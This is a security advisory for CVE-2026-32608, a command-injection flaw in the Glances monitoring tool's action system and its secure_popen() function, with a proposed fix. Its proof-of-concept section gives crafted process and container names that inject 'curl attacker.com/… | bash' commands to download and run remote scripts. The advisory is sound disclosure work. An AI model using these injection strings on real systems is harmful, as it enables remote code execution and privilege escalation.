CVE-2026-32608

glances-common-4.5.2-1.1 on GA media

## Summary The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. ## Details **The action execution flow:** 1. Admin configures an action in glances.conf (documented feature): ```ini [cpu] critical_action=echo "High CPU on {{name}}" | mail admin@example.com ``` 2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943): ```python self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict) ``` 3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943). 4. In glances/actions.py:77-78, the Mustache library renders the template: ```python if chevron_tag: cmd_full = chevron.render(cmd, mustache_dict) ``` 5. The rendered command is passed to secure_popen() (glances/actions.py:84): ```python ret = secure_popen(cmd_full) ``` **The secure_popen vulnerability** (glances/secure.py:17-30): ```python def secure_popen(cmd): ret = "" for c in cmd.split("&&"): ret += __secure_popen(c) return ret ``` And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess. Additionally, the redirect handler at line 69-72 writes to arbitrary file paths: ```python if stdout_redirect is not None: with open(stdout_redirect, "w") as stdout_redirect_file: stdout_redirect_file.write(ret) ``` ## PoC **Scenario 1: Command injection via pipe in process name** ```bash # 1. Admin configures processlist action in glances.conf: # [processlist] # critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log # 2. Attacker creates a process with a crafted name containing a pipe: cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash" "/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 & # 3. When the process triggers a critical alert, secure_popen splits by |: # Command 1: echo "ALERT: innocent # Command 2: curl attacker.com/evil.sh <-- INJECTED # Command 3: bash used 99% CPU" >> /tmp/alerts.log ``` **Scenario 2: Command chain via && in container name** ```bash # 1. Admin configures containers action: # [containers] # critical_action=docker stats {{name}} --no-stream # 2. Attacker names a Docker container with && injection: docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx # 3. secure_popen splits by &&: # Command 1: docker stats web # Command 2: curl attacker.com/rev.sh | bash <-- INJECTED # Command 3: echo --no-stream ``` ## Impact - **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root). - **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root. - **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths. - **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system. ## Recommended Fix Sanitize Mustache-rendered values before secure_popen processes them: ```python # glances/actions.py def _escape_for_secure_popen(value): """Escape characters that secure_popen treats as operators.""" if not isinstance(value, str): return value value = value.replace("&&", " ") value = value.replace("|", " ") value = value.replace(">", " ") return value def run(self, stat_name, criticality, commands, repeat, mustache_dict=None): for cmd in commands: if chevron_tag: if mustache_dict: safe_dict = { k: _escape_for_secure_popen(v) if isinstance(v, str) else v for k, v in mustache_dict.items() } else: safe_dict = mustache_dict cmd_full = chevron.render(cmd, safe_dict) else: cmd_full = cmd ... ```

Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.